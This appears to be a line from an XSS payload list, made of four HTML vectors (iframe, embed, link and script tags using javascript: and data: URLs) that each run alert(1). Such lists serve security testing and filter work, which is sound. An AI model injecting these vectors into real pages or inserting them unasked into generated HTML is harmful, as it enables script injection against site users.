<iframe src="javascript:alert(1)"><embed src="javascript:alert(1)"><a href="javascript:alert(1)">XSS</a><script src="data:text/javascript,alert(1)"></script>